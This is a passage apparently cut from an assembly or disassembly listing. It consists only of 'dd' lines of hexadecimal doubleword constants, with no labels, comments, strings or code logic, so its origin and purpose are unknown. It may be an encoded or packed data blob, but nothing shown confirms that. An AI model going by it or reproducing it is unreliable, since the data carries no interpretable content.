0C1D1D8ECh dd 0E00E4C5h, 0D2B9B3B2h, 4C9B0B07h, 871E402Dh, 0C1690AF2h dd 0CB2780CCh, 25CDF5E6h, 7D00D0AEh, 4E927A77h, 58FBE67h dd 0EE9001B8h, 0D68C40B4h, 9F05B6BFh, 0BBB56600h, 5965D411h dd 356F1898h, 0CBD987Ah, 9C486D00h, 51B990BCh, 169B18DAh dd 14982120h, 9C723017h, 0D927300h, 0FFB4D3Fh, 128C8FE9h dd 25AB0017h, 0B3B856C4h, 6C80B205h, 4483684Bh, 0EFBB90B6h dd 0CBCF864h, 0E1FA7873h, 0E0082E0h, 86D2703Eh, 0FB383E8h dd 8C05990Bh, 80E05E52h, 4AE2B4EFh, 0A31E60C9h, 50E759B5h dd 11F00E4h, 0DD8FFB1Ah, 0D149BB55h, 6DA90524h, 0D880F0DBh dd 0E2D7FE58h, 3E0A0052h, 186E562Dh, 8E58D996h, 2A230A54h dd 7000A437h, 2F76CCF0h, 67A8FC83h, 0F08616B0h, 7CF9737Bh dd 222A9601h, 0D581ACF3h, 0E55440D6h, 0E2261809h, 8E0B16Bh dd 893BFB00h, 0B988F762h, 0D18C2478h, 319D8060h, 36D72C5Eh dd 6740DC13h, 7147481Fh, 75E429C9h, 3800C7C5h, 98A27054h dd 0FF76009Eh, 562A827h, 0AE006C1Eh, 51C2B2C5h, 59A987h dd 0AD74E5BFh, 88366212h, 41A40200h, 3533F55Bh, 603A0065h dd 0CAD1770Ch, 0B70FCD28h, 62487C93h, 7DBED324h, 996854A0h dd 0F600EE94h, 79CDFAF4h, 2C8298Fh, 458644E1h, 7CC0E39Ah dd 88008191h, 0E54A8516h, 97B22Eh, 0E9036925h, 11E4BD83h dd 70C18700h, 9168E077h, 0EA97FFCh, 0FEF2E5FBh, 0B21EC300h dd 4200ADDFh, 5638DE4h, 10CA73h, 9CCB6BA7h, 78AEE349h dd 4113DAE6h, 0D4ECD8D1h, 93FDB412h, 0BF84A12Ch, 20C2902Eh dd 8757357Fh, 6EFF0F0h, 3C113B77h, 5508B680h, 0E80013F5h dd 0A3A29EB7h, 0EB4E1D58h, 6BB9C0D5h, 1966E54h, 0EC12B0E2h dd 98FD4064h, 0C0985F7Eh, 75938158h, 64956900h, 7A46DEB5h dd 319E00D0h, 549F21EDh, 0AAF0DAF1h, 204A6328h, 0C8973F90h dd 18907664h, 501694B6h, 0DE776B9Eh, 60100E50h, 9B1C7E50h dd 28F1FC00h, 887F10FDh, 471D1D12h, 90ECC0C0h, 7CBAF71Ch dd 0C85F5030h, 0B55985h, 0AAC0AC84h, 0C9CC3E36h, 0F5DDEE13h dd 58A15800h, 77F9AE7h, 44F4E93Ah, 64278059h, 921F4CCCh dd 0D90F416Bh, 0F2C09EEEh, 0EC80C0FCh, 0D440017h, 96AB0BF4h dd 0B4387B66h, 0B703001Eh, 85FE98BFh, 86230575h, 8024B648h dd 88632DC1h, 626E0A00h, 0E640F039h, 0EDD500BAh, 0EC1C7E09h dd 0DD032C2Bh, 77513546h, 0B95689C0h, 0C2D9807Fh, 4700F4BEh dd 0C920C4E9h, 27174Ch, 62DA8ED1h, 3348ED7Ah, 4ECEEE00h dd 0D259A19Dh, 0D7FA02F0h, 533D9A98h, 3A70607Bh, 986916FAh dd 734300D4h, 7F48872Dh, 0DD1400B6h, 0F8F092CCh, 8E1F4FCBh dd 1289C490h, 0CC830E30h, 69923103h, 0C310C30Bh, 8B504BA7h dd 1297C430h, 604F9531h, 0D209713Dh, 704CC39Eh, 451501B0h dd 0CF76D801h, 0E00BD163h, 3727FA51h, 0E49065ACh, 640167A9h dd 312A6545h, 2F0A708h, 7F48DAA0h, 27360h, 965BECA1h, 0DC50EE1Bh dd 252CD300h, 6A6D7429h, 0BAA82DC1h, 9021C086h, 91C0179Fh dd 2DD580C2h, 14F8645Dh, 0A877C45Bh, 0FDE09912h, 74E8A4h dd 253045BAh, 0ED3524FAh, 757B7800h, 0D39D3712h, 18F72510h dd 0B0DB08EAh, 13C570h, 9D4344D6h, 456B4B93h, 0A98E6031h dd 0BC50A4A7h, 0DF7365h, 798CF86h, 0F2D1BA6Eh, 2FD2A300h dd 95D8D0CAh, 0ED46010Bh, 1803D553h, 0F46E6EECh, 355B1700h dd 0BF23F363h, 0E03A7C5Bh, 5600E623h, 0CF9A0C9Bh, 91C1F0A0h dd 1FB5036Ch, 0ECC5B0B3h, 8C93E808h, 9D01D400h, 231BE3B8h dd 0CAEE4BE2h, 9C6A5B30h, 8793FC00h, 6F16C1EFh, 505B2825h dd 0E81902A4h, 92C332E2h, 40EB245Eh, 19670BBCh, 509362FCh dd 1FB46CA0h, 1F4E0448h, 18BE2553h, 0C33162C0h, 2FFA3864h dd 6FC45FCFh, 6B457481h, 0DCC424C0h, 85FCA554h, 95811E00h dd 34B0782h, 0A0924F2Fh, 62C53A74h, 5881BD9Dh, 27B3F0Fh dd 577C4F3Ch, 2F03D476h, 4FE048F5h, 0FC6E90h, 0D487596Ah dd 0E4515591h dd 95BB020Bh, 71CBA24Dh, 3E8A0A1h, 0E8017FEBh, 58ED7397h dd 0E2D0222Eh, 1415551Ah, 0BF805191h, 10406C5Fh, 984DC83Bh dd 9D2139FDh, 987D3F01h, 53B05928h, 5FB23457h, 1EB8730h dd 81B83F97h, 3A544716h, 0F1FDC8C1h, 80F958A5h, 0CC1953D1h dd 0D00A0E2h, 0B707268Eh, 2FF769F2h, 0D4E0BB13h, 745A739Fh dd 3EB688C0h, 0EB04251Ch, 8448EC7Ah, 0EA3C136Ch, 50ED3412h dd 0F10761B8h, 8F2DEA5Ch, 0F6974702h, 48EF0EF0h, 0B51423F2h dd 3700E28Ah, 704B94BDh, 9E5E3A11h, 0C4E8C84Ch, 8DB50E8Ch dd 3B40C5F8h, 4F011BAFh, 97518912h, 2A767C40h, 74C7C648h dd 451904BBh, 13123911h, 0CEE0DCB6h, 1197112Dh, 0D02005C4h dd 2B7700BAh, 96B2D778h, 0D53B3718h, 0FB758046h, 0F14C9EE7h dd 0A9FE7ACCh, 40E01CDCh, 0BE7800F2h, 21B485E9h, 4716225Eh dd 8420A4FEh, 4D9BD14h, 5C88B91Ch, 0FE92801Eh, 8B00BC73h dd 775B82D6h, 60A3357Bh, 0D84859CDh, 0DB189D2Bh, 88A089A8h dd 0A4154B3Fh, 0F44A4BE0h, 0CA2B2CCDh, 0C093C8C8h, 38F8906Ch dd 19BC8C31h, 0A6E47F14h, 306F0185h, 75783AB1h, 7ECA8BB8h dd 11349D5Dh, 6DE38290h, 86345E1Bh, 21BD8CB2h, 4C963100h dd 0E3505228h, 0FFF0BDB3h, 7F491612h, 0CCAC28B9h, 0E2020BF6h dd 5473B671h, 0B412001Eh, 8401D775h, 987B5B50h, 0FF300F5Eh dd 0A055162Bh, 0F86F90h, 8F5A6A3Ch, 1AF5BF6h, 1F97D542h dd 2B91B073h, 308B1064h, 0EEC05B88h, 454F695h, 4BA32E65h dd 5E64B8C2h, 0ADC8008Bh, 0C865CCC0h, 9EFE2EBAh, 0BF4E09A0h dd 0BCA66073h, 3AAF5E1Fh, 765C56F0h, 6E039246h, 0BDA3BBA1h dd 31760FD0h, 22B71100h, 801AD64h, 922B40D3h, 2C402BE1h dd 0A7720D95h, 4020FBBAh, 7904917Ch, 4A3918EFh, 947CCCC7h dd 0B8BE4AE2h, 9430BD97h, 316FFAh, 0E15FAD3Dh, 2126C008h dd 0AE51B026h, 7DA10Bh, 3465FBC4h, 0B8EFCD0h, 5D059237h dd 4722025h, 11E3AA8h, 0EEE7473Dh, 6E092806h, 7AA6BBEDh dd 9EB01FE0h, 27122409h, 0C8956461h, 3909204Ch, 0A4A7A496h dd 3D408A6Ch, 0A5BA2E05h, 1C8B7F4Fh, 7DC0A988h, 601245C8h dd 0BEAC518Bh, 0C0918810h, 0C4F77500h, 5E8CC27h, 0D53B78B1h dd 8C68C190h, 10BF0059h, 6504329Eh, 0B55F7CF1h, 0A3B68070h dd 0EAF929E8h, 137AB14h, 27F82094h, 0CFAF67Fh, 89B70F7Bh dd 7B7189C4h, 0F6BC7878h, 1E04D6E6h, 92C9F22Bh, 8F8008FCh dd 0FD3E911Fh, 24A211D6h, 0CE30A9F2h, 2ECF79CDh, 80ECB45Fh dd 676B1F9Eh, 9CA04118h, 915C1708h, 0CD82268h, 15631FB5h dd 28A0A730h, 711F438Bh, 61809EEEh, 8221FE0h, 0AB460014h dd 56DE0490h, 0D04AC6A8h, 5BC8B48Bh, 53A6BC0h, 80974895h dd 0E902A780h, 0C249C39Ah, 45F60054h, 8CB4757Bh, 0EDFC25D1h dd 13FA3022h, 0B7498700h, 0AF30C6ECh, 0BC9420D7h, 7B984674h dd 0C9EA4DB8h, 29831706h, 16589CC7h, 2F5DA5C1h, 13E81064h dd 0B59793C0h, 0DA00C9CBh, 1D0C3FCh, 485DC155h, 0EF272403h dd 0A16F4CE8h, 7713C0A0h, 20263131h, 4049C98Bh, 80A4DA2Ah dd 0EDF74001h, 9FCF25EAh, 0EF92F867h, 50880C8Fh, 6E00C3C7h dd 3E2E77C1h, 0CE09DC16h, 94748E5Ch, 72F8E8A7h, 73F40C28h dd 75104968h, 0B8A88497h, 596CF00h, 657774F5h, 720EE227h dd 75A30588h, 8ED43FE7h, 0C0548858h, 34EA5F1h, 0A9C86305h dd 64EC42C5h, 0F0215387h, 27036DAFh, 9580E9E8h, 4C47386Eh dd 113840C1h, 3D8015A6h, 0CFC7202Fh, 4AA8C915h, 0A3AC04DCh dd 408C56CCh, 0D7058C65h, 0D86B9F58h, 20B0BCFCh, 547658DBh dd 1213213Bh, 0A0FC807Ch, 1C8CC9ECh, 407F1196h, 331B3494h dd 318CC95h, 1FD05DBFh, 269E7008h, 0F69C4887h, 0E8450800h dd 63E4A2F6h, 1CA34CD9h, 0CF03C98Bh, 51889366h, 7707390Fh dd 7265CF9Bh, 42C132D0h, 22E1059Ah, 0AAD70CC3h, 0A1BC884Ch dd 484B494Ah, 0B301F4F8h, 0B5F12005h, 82C40A83h, 0DD812825h dd 185E21D8h, 49BE9088h, 0C46430C5h, 60C84A61h, 0FA00435Ah dd 27F9F70h, 9D172F09h, 0C480485h, 72D1E5B4h, 0BC82D700h dd 9195A590h, 31E0E53h, 12523F17h, 0BD04B9F4h, 0A663D700h dd 0D12F1F6Eh, 1157C121h, 238C4608h, 30C7A220h, 7E3C9526h dd 7541824Bh, 5E7073C6h, 8B60036Ch, 90B1055Fh, 3A0CF11Fh dd 82885405h, 8407CCF9h, 407EE035h, 5A741BD0h, 0F0919702h dd 59533860h, 18897908h, 640A1781h, 3DBCF3F2h, 0C49900F3h dd 5F7BA45Dh, 0D7F60CBAh, 0BC709525h, 0F31EEB00h, 2A8592Fh dd 0B0BF5149h, 82B89B3Ah, 20A2A33Dh, 8CBB3C7Bh, 0A1879500h dd 3A5F756Fh, 7F0E0133h, 4B9AE7F2h, 60D73BF6h, 0CCB0E069h dd 78732716h, 9E27F870h, 443Dh, 0B6806B98h, 0ADDEA32Eh dd 0DA25DCB8h, 2B782718h, 7698FC49h, 96C39E1Fh, 0D2185700h dd 0DA4E22h, 0A10D5D5Eh, 0D559DEADh, 95AA051Bh, 830EE828h dd 93A50073h, 0AD1AAF31h, 95EAAECAh, 6547E300h, 0C4434CA2h dd 5B443391h, 2103DE08h, 0B1654004h, 0D003B168h, 587861FBh dd 80E78341h, 0D6384C89h, 0E4EB1Ch, 3FA3A82h, 0CBAD25ACh dd 124AD51Dh, 5A613643h, 0C3590CD6h, 0F4A1DFB7h, 3F562C00h dd 0D7FF335h, 6B73F1h, 0D022810Eh, 57886F99h, 39A84932h dd 0E5D920D6h, 9DE8C6E1h, 8373D700h, 0D0B571B0h, 5ACFA35h dd 40BA7652h, 87540080h, 0F35C68D3h, 8E43E600h, 0D0E29CE0h dd 343F0774h, 1010953Bh, 7C0FF767h, 5F58041Ch, 0C94E01C0h dd 0A190829Ch, 29C8B624h, 443C1E5Dh, 0FB19B070h, 5C0075AEh dd 68B0C6AAh, 3CD512Fh, 0D05F0E06h, 4EB994CEh, 9DBFE0BDh dd 0D293A400h, 0CA8C3503h, 0B00A509Ch, 0EF34002Ah, 0A5A83908h dd 98A892ABh, 0D4011076h, 71E6181Bh, 9992FD6h, 0F456218Ch dd 3801AED4h, 39843329h, 0D9F01A1Fh, 0E662019Fh, 1316234Eh dd 0CF042071h, 52C83054h, 943D3719h, 1218A770h, 1821D408h dd 418DC416h, 0BED41A50h, 8444E0DAh, 0C6FC14EAh, 0DF3AA024h dd 1A33CF83h, 20B89B03h, 80F609Dh, 0D42C5712h, 3D4F1484h dd 0A4971293h, 95014C40h, 0A8ABB718h, 5ECFF0h, 29233489h dd 512A9AF6h, 21CE08CCh, 8AA600E6h, 49130957h, 0A807729Dh dd 0E04F81Ch, 3845B8BAh, 3E686C2Bh, 0EA80BE6Ch, 0A085250Eh dd 0B10051BDh, 0D7167518h, 0F233A591h, 351A0995h, 0B4102ED5h dd 0AC30A71Fh, 67F5699Ch, 0E7E900B9h, 47204ADFh, 0D605120Bh dd 1395027Ah, 895D7420h, 51232147h, 8AA5EFC0h, 0AE620093h dd 8DDD6518h, 3026254Bh, 0BC0090FBh, 50CC6EAh, 81249093h dd 5C181AA4h, 234A8908h, 40D0C459h, 9E8AA4E4h, 0B6DC04E8h dd 91E25D86h, 24E7B268h, 46006DD8h, 26415722h, 2FB492h dd 5A1A1E27h, 0CF8CD8DDh, 90941D01h, 99690450h, 1EA388A4h dd 0F88AA8Eh, 0ECC6FA96h, 5209F8D4h, 8B067A1h, 2E287519h dd 8C03B0F6h, 292B8683h, 1A8807C2h, 0C0E566BCh, 325D03FEh dd 0C4921F28h, 51A28500h, 97102C35h, 939B066Bh, 59C8FD09h dd 0E7D17891h, 3FCC918h, 0C89FAD30h, 48C31E22h, 59509C7Ah dd 19952B1Ch, 895F00B0h, 0F7A12349h, 0E980E0A5h, 0E6068AA7h dd 9A865C0Eh, 0D21E5A38h, 6A5F12FBh, 0AF861054h, 4C487BC0h dd 21F875B6h, 0ADDCE554h, 6BC844h, 0D7B424BCh, 927EFBD5h dd 340E7926h, 0CF55803Bh, 46901027h, 0C04266Dh, 0A690CC18h dd 0D40F048Ch, 8E3E1820h dd 175B009Ch, 770C67D4h, 462E00DCh, 902AEAE7h, 0D9416E5Eh dd 63E087F8h, 0E9DDF0D5h, 9482CD0h, 15D4CB50h, 6534028Ch dd 0C62B4B5Bh, 0D10DB19h, 3D1D654Dh, 0B681E886h, 72A1EC52h dd 143CD430h, 0D87D08FEh, 0A4504400h, 0F9CD9EE5h, 0C2688660h dd 0DF7954C6h, 251CD220h, 1D9C0858h, 35895BC0h, 0D618FB23h dd 1A3E588h, 12FECE8Ah, 85C01C6Fh, 0ED95ED8h, 7402C025h dd 84F79121h, 0ED60A4A8h, 182322D4h, 218A180Eh, 0E6B81551h dd 7E751A1Fh, 1208A028h, 3FFE45Fh, 0CC365595h, 0C22F181Fh dd 24805Fh, 0D21B7580h, 0D1E1211h, 161AA47Bh, 5AEC4808h dd 87D2133Eh, 88EBFDADh, 326A01Ah, 18B38420h, 55182301h dd 6881DFF6h, 614FD0C3h, 14E0169Ah, 0BC7A11D4h, 0CCE86024h dd 48CA3F0h, 1825D40Eh, 208E36h, 19D4165Ch, 5041F1Ch, 27E5599Dh dd 8F00C8E9h, 5DAE49C0h, 0C1442B0Eh, 0C91C4CA0h, 7780966Eh dd 0D080C424h, 12FEFBA0h, 40A48EF8h, 0C2C0DFDCh, 0B2136192h dd 1022A146h, 65353010h, 134B5808h, 40DD64C6h, 0E9654E0Eh dd 79BE7041h, 8CA9021Ah, 0A7C05F72h, 6919CC82h, 6041C884h dd 2313D221h, 0E1112E12h, 0D2195400h, 9D4D8807h, 802FE9C0h dd 15F567CFh, 0ACD7ACC5h, 87B82494h, 0DFCE008Ch, 1659792Ah dd 9B2C0E21h, 1445BC8Fh, 65498060h, 334B105Ch, 80EFC8C4h dd 5D65420Ah, 0B400DFA2h, 0E7F7B9C6h, 241C5F7Ah, 1720E4A1h dd 0DA942087h, 4700BA15h, 0E42F7F0h, 0C083AB65h, 43C92E99h dd 0CF04C09Eh, 0ECFA904Ah, 805EDCC1h, 51E448h, 91F318CEh dd 0C6231F25h, 0FC663C28h, 0DE1DD612h, 13D8C443h, 4CA109CCh dd 0E8182DD4h, 39174F85h, 70161229h, 8D080C00h, 1217CD93h dd 1EDC64Dh, 248F4A6Ch, 11E040FEh, 8CA1966Ah, 1C481819h dd 6C4B5F65h, 4109701Ch, 51606502h, 18D15ECh, 0F013A5B6h dd 6F2EFB06h, 8400040Ah, 42DE39A1h, 8105C49h, 248CDBFCh dd 472081B6h, 0B22970D1h, 0A0061F9h, 0F4F0AEDAh, 7A8F2692h dd 357B0F50h, 7822AABEh, 38C4F930h, 0A3D9FB06h, 0F0A621h dd 75C6832Ah, 0CC55A9Bh, 0A49EB12Ah, 0AC645085h, 0F95DD360h dd 36F71C01h, 4D045B0Ah, 699D9B42h, 24184C58h, 1208D208h dd 40E0C446h, 9DD21C53h, 32A30207h, 7CA8C6ABh, 28C2C8C9h dd 831280CCh, 2441D1CAh, 0D0B19Bh, 5BE423BCh, 0A9601CC5h dd 50C6F4D1h, 19809098h, 0B8A110ACh, 4E472BEh, 0F2BF1A0Eh dd 602F1490h, 7C61E055h, 0C88F10A1h, 0A7DE18D0h, 0F5258530h dd 0D8648C2Ch, 0D21A6046h, 8C16E212h, 0FC55E644h, 4E9300D2h dd 0DFB4A543h, 3D0D5066h, 0E065871Eh, 0E1A28C33h, 0D2B730h dd 7AB633FEh, 0F1EC1B1h, 4404FC94h, 0E0D0AAB2h, 0C5CB10D8h dd 2704D639h, 0BAF8C0F0h, 88096C9Ah, 93AABD48h, 1360AC3Ch dd 18231CD4h, 88111Eh, 0CCD41B6Fh, 176ED849h, 44808A9h dd 1FB6C00h, 0A2AB6D11h, 80880821h, 828ACC1Ah, 1D8090E4h dd 0D53E83CFh, 9B7C006Ah, 3F255D63h, 4C0118FFh, 4E9AB986h dd 31A0D283h, 794B46C0h, 12210DFCh, 2756C03Eh, 0DA01F6D2h dd 0DCB81C8Eh, 0F18B9CCDh, 0F4970196h, 0D689D391h, 23730758h dd 9719E809h, 5440C887h, 412100E5h, 78620CF8h, 0DF005224h dd 56A86977h, 9FC2D7Ch, 0D5FE5517h, 0AB5B4C81h, 0FC6FFA4Ah dd 104FD60h, 3830075h, 13C07868h, 4848D011h, 37705107h dd 0D7F4F0D8h, 2E4D0068h, 3FBFC4A6h, 0C6122193h, 0B001AF64h dd 6B75F450h, 5D060h, 153FEBFBh, 0A972435Bh, 96C6BB02h dd 0B014951Ch, 138AA2B4h, 38492348h, 0AA04EA80h, 16D9388Ah dd 6060FCC9h, 239E4185h, 10604E08h, 9CA10906h, 89465E74h dd 8B06E700h, 0AE32EC9Fh, 102DD900h, 0AD665B90h, 6091486Bh dd 3C09EB22h, 0A37FB4C6h, 0E6410C50h, 81E54499h, 7DDB7800h dd 0F945A09Ah, 0EF0001Bh, 0D3B473FCh, 0D529657Ah, 502881Ch dd 0C05FB30Ch, 6C2A124h, 3D5355Ah, 6D0021A5h, 0D723EE99h dd 2D04333h, 0B824C263h, 64449453h, 58011E46h, 39233689h dd 0E0000BF6h, 53D18AA0h, 0D800707Dh, 0B95F4FE9h, 24BEF8DFh dd 8E4AAFFh, 0BC09A71Ch, 85BC373Ah, 0C8ACE881h, 9E009F08h dd 0EE4661DDh, 9E75970h, 0B8B3D5C6h, 0B136B848h, 232FF400h dd 0DD80C8DBh, 9E770018h, 0AE39E498h, 0CF0563E7h, 300A8479h dd 0DBC86CCBh, 0CDC7D3C0h, 52EB0406h, 0E108DFBFh, 0EC502040h dd 98B29224h, 6AFD0D40h, 7B8E0137h, 0E9B3C0D9h, 22A982A0h dd 709B0B1Eh, 1CD22574h, 0CA802CB5h, 6C589253h, 82EF80C5h dd 23089158h, 65330116h, 73234B5Eh, 4C08804Ch, 9CABD865h dd 820A801Ch, 0E3B82CC2h, 0D45B9B1Ch, 3EAE0B81h, 607045B6h dd 0D8B40F1h, 0B1BD3317h, 73E8BC04h, 0D110B414h, 0DDDC029Fh dd 0E9B91A2Dh, 7F303D74h, 5D12047Fh, 0A2C4734Bh, 30E0F284h dd 8C021C4Ah, 0E4FEA9B6h, 18E05086h, 78E391ECh, 0C96C1AD8h dd 0AB480E1h, 0CBFC58B8h, 74942494h, 351D8946h, 0CA5A4026h dd 0D6841C44h, 10E80556h, 73048DDFh, 8816D8AFh, 3F2DAD0Ch dd 115C1702h, 771A87D5h, 21C544E0h, 926BE0E9h, 0E4F0855Ch dd 196E60DDh, 3AEE02D0h, 9A4F11D5h, 0B560FC4Fh, 2471A17Ah dd 13158BC4h, 0AD3C0031h, 9BC3DFF8h, 0D66D180Bh, 0FF5004DCh dd 26C48888h, 877435D3h, 0D144D43Ch, 0D43307FBh, 0D738AD6Bh dd 0A98006A7h, 0A712A86h, 399A6CAFh, 8D465ED8h, 0F736500h dd 0BEB86EFh, 46E0DB01h, 8B5CC63Dh, 0B1F2D443h, 0AFF50DDFh dd 2503A184h, 4472099Fh, 0CC573F18h, 6901485Dh, 810C4C95h dd 8628BEE7h, 0B71CD622h, 2C6098B1h, 10244003h, 0B8984C9Bh dd 0AF4387h, 84BBF486h, 7682CCCh, 607739Eh, 0D89B9083h dd 0B1C15B11h, 8B051C4Ch, 6B66A800h, 4C94A8B2h, 0E0465Eh dd 0D0A07B75h, 5E9BEFAh, 4AC039AAh, 0C870CB02h, 8422C0D7h dd 5819AB70h, 1F90D4DDh, 654C4618h, 165B2700h, 5F030E20h dd 5E80A465h, 59613163h, 809FF924h, 0A892A012h, 66D0A9E3h dd 77711388h, 0B284C12Eh, 85518EF0h, 0E6845F9Ah, 0C0A26A19h dd 9E309DF2h, 117801ECh, 0A88F728Eh, 12E438CFh, 50130C6Bh dd 888484CBh, 1CD330AFh, 0FCFFE78h, 8E86D767h, 0C3773105h dd 2CF3F284h, 6AAB2BE0h, 3CCC5F00h, 0CBAEDD5h, 2E394A82h dd 48C23B4h, 0B32AFFB1h, 6F268250h, 0DC8209C2h, 0C20FCA20h dd 89DD2225h, 11E09DA8h, 17A080E3h, 0A07595CCh, 306F1224h dd 5561D3F8h, 1A80F7F6h, 612E049Ch, 0C8B70258h, 660192ACh dd 75918960h, 0D18780ABh, 11195559h, 0F007E77Dh, 0E2006DA5h dd 0B0CD71BDh, 20E6AEFh, 0C1C75165h, 0F4D018FEh, 6DD44A12h dd 1C043485h, 5F4B9F57h, 8335D021h, 0ACC6859h, 94A4876Ch dd 0ED8F0289h, 8141C5D8h, 70A6DE90h, 0FD251B10h, 911C9D97h dd 0EF949DD6h, 4B3C22D0h, 0A24447D5h, 28AA0BC6h, 50C2000h dd 0BD6F1E5Eh, 0B5CC91A0h, 881F00E0h, 8C98B449h, 0FA31DABEh dd 0C89ADB00h, 250AD367h, 5B6F1E2Bh, 5751022Eh, 0BC7A8350h dd 74C20904h, 68C1B541h, 0C7071CEh, 0B00FD01h, 1C96F8B8h dd 465C906Ah, 0CD420089h, 219ECC39h, 10797C15h, 4C6F8DD3h dd 63BB14B8h, 18370CECh, 4AAFC1C5h, 0A7F840B2h, 0F63CE9B7h dd 1B573B1Fh, 0CD661A49h, 0EBE3C0C0h, 2B003D14h, 8F1C7D3h dd 7B9C4CEh, 0C54333AAh, 749D7986h, 0F381DE11h, 9FB7BBFBh dd 6041AD48h dd 95A50636h, 99F85838h, 18F43F8Ch, 65723D81h, 0D4F969B7h dd 0BD594457h, 91661364h, 0A500CC6Fh, 0A84E49BCh, 0EE040D87h dd 311BC372h, 0D5E0AC97h, 0C2711AD6h, 74FEFAC1h, 0D4504C48h dd 6D948B95h, 1F94E2A4h, 0FEDD9480h, 9C487B87h, 84A2D230h dd 1D3087B2h, 32B772Dh, 0B0A899C0h, 21009AACh, 3D0A4266h dd 210E8E6h, 15339D1Eh, 38E01A1Dh, 2B2C19D2h, 7D4040FDh dd 3EBBAB6Fh, 0C530188Bh, 0E7491419h, 9004C492h, 0D2824408h dd 0D5F264E2h, 0F7AA630h, 7692CFD8h, 8050D0C9h, 0BC3C780Bh dd 3A546094h, 906C80ECh, 8347B813h, 3CCB9C85h, 65C0D688h dd 5F809261h, 0D4240078h, 440E1C9Eh, 2DDA3D00h, 0B2D398D6h dd 0DC2B959Bh, 61C0004Dh, 137C6D4h, 0C128A41Eh, 489F2686h dd 8B4B4CACh, 0CA04DCh, 0EA4F0AB5h, 31A19E32h, 0C4CB1C00h dd 4217D54h, 0DA922525h, 7D9C2449h, 0FB0603B8h, 0F22372CEh dd 0DCF856F7h, 0C3CE8E28h, 0DB03B974h, 2A85D25Fh, 33B13B91h dd 10413492h, 88B830D8h, 8600AF43h, 0DA5B3987h, 0C581ED9h dd 0A8FE25D4h, 9D118858h, 72751906h, 0E00E8C2h, 93829657h dd 0A8A3B7CDh, 25DC94h, 0B999F9DEh, 0D84F6257h, 6A129A1Fh dd 0B8102D81h, 88008C7h, 0A15AC8FFh, 194FD565h, 5FE12837h dd 0E1B88B80h, 842A9E81h, 0C8B7FC51h, 747E88F6h, 0B8507E7Bh dd 0EE00693Ch, 33655686h, 0A5DEB6Eh, 58367EF1h, 6040138Ch dd 0ECD22064h, 13261223h, 1F5CA39Ch, 6FC0A854h, 2BF8633Ah dd 0D0800029h, 300138FCh, 660822AFh, 0BCA48EE7h, 9510C613h dd 7C50B208h, 70D31612h, 12F4E8A0h, 0B0CC62FBh, 87699804h dd 5908230h, 24A80296h, 0E1449067h, 0BDD35A60h, 788A43Bh dd 3B0EAA99h, 172D606Ch, 8D6F03D5h, 0A2046334h, 191330ACh dd 89FB3E3Bh, 4D99B25h, 88449244h, 3C3C8851h, 4C8A3D04h dd 14B0B104h, 0C1F4B82h, 9531ADC8h, 0BD102005h, 0BCE3AC92h dd 6E309FB2h, 28D7A97h, 1A57A87Dh, 845E8675h, 74609202h dd 2F6440ADh, 8C04946Dh, 8888CE25h, 0AB464D13h, 30A0E422h dd 2612D409h, 0CC382E18h, 0D411005Dh, 0D11F9A09h, 5F00D7A5h dd 0A819F6E6h, 0BA086F0Ch, 0C22C85E0h, 0F318AF88h, 52C73B1Ah dd 9F6CD51Dh, 85E8E6A9h, 42935D85h, 4C6F4A80h, 99175874h dd 21F68882h, 34EA5D17h, 8F1614CCh, 0A8C0817Eh, 92F211D8h dd 5EE0B61Ch, 9205D846h, 0E50CB801h, 0B020E288h, 7CADE6h dd 0FBD4BBCAh, 0C71C8EB1h, 0AA5C78F9h, 4A3DE600h, 4E10F36Ah dd 6346C00h, 0B4D5AC1Ah, 0AF0725B2h, 0EF64A8E7h, 0F663D660h dd 6D72A701h, 8D16B35Ch, 2AAF5C52h, 85200BD8h, 0E3511CC8h dd 91681D9Dh, 97C09ED7h, 23FA3B37h, 0C2884AFEh, 3CF14478h dd 0B31EF904h, 0FE03E088h, 0E74450AAh, 3823040Ah, 0E08A830Eh dd 0B88842CCh, 0F2553096h, 8712A5E4h, 10D7E024h, 0CDF1E04h dd 0A0ABCCF4h, 9135D6Ch, 8035F3AAh, 0E9562C10h, 5724F80Fh dd 0A5809C09h, 4039EA23h, 80342591h, 0F25A34A0h, 0BB003325h dd 54CB669Eh, 9A4F79h, 780B42AAh, 128E26ECh, 49A00C1Eh dd 7CCB6556h, 9EC0DDC8h, 3F21D33Ch, 44BBCC6h, 4BA01634h dd 5280001Ah, 27AB5B0Bh, 0D428A572h, 6F133D68h, 0FEA4C1D0h dd 648C41AAh, 68C104A8h, 0B300E386h, 0A160B833h, 8851AD59h dd 9E253F62h, 0B1503E00h, 1A777834h, 30E96Bh, 0E268C7C0h dd 3E5B2D5Dh, 5C563812h, 2E7465Eh, 79D452DEh, 9D54D2E0h dd 0B70E1037h, 65A64984h, 609CE438h, 5DDF0B1h, 2D86958Dh dd 2760C065h, 0C625236Ah, 0E16C634Ch, 0AC7984AEh, 0F60B8FB8h dd 421DF451h, 309C61C8h, 8CF1DC44h, 9D20F401h, 185F5A00h dd 2B86A700h, 85FF0150h, 0D0B24AFAh, 3B26BB0Ch, 0CEBD1700h dd 4722F6A8h, 4D98C855h, 0FD225C0h, 244E5812h, 0D21D50E0h dd 0FAD95Ch, 0CE47C7BEh, 0B6BC6886h, 0A98264ECh, 0AB920394h dd 0F0FB4D53h, 0C8C411h, 0B0DE78D7h, 0DDC3B57Ch, 27109B78h dd 355BCB2Ah, 92400100h, 7CA16C50h, 502ED650h, 482AE123h dd 465EC89Ch, 6B550087h, 3C57BB14h, 11CCB6CCh, 48872520h dd 10AB604h, 63157C4Eh, 0C4E0F4E7h, 0B10A5B58h, 0C441C960h dd 0E2D01760h, 77300032h, 8625688Fh, 814ADD75h, 0CC5A1C33h dd 60877401h, 436469C5h, 30E3A2D8h, 0EA5F77A5h, 0C4C3C01h dd 12A687Dh, 4F9D1AE4h, 12107C3Fh, 0C0F210DFh, 8899EC08h dd 1ADDDC00h, 0CFBE5518h, 0B8095899h, 144548E8h, 173DAC7Ch dd 0C0590083h, 0F01EF21h, 481B1CBCh, 1A4466DDh, 467319Ch dd 3F60CE44h, 8D006E1Ch, 0F49363C9h, 61C2F061h, 0F3CCB1CEh dd 20003B81h, 5FC3DA24h, 9B7C050Eh, 52EE2586h, 4110088h dd 3CF2E76Ch, 0C40C22E2h, 3869FD03h, 0D7DA05B5h, 0A1012B85h dd 0F84841B4h, 3F5075AAh, 2600E46Bh, 0ECB90A9Fh, 736E35EBh dd 870CC268h, 25B0D084h, 48446579h, 0C1E0E70Eh, 0EDA64131h dd 0C072CA41h, 0A87910h, 7CAB2B3Ch, 4B5A81ACh, 80989EC2h dd 0EDD52B42h, 2C58B68Ch, 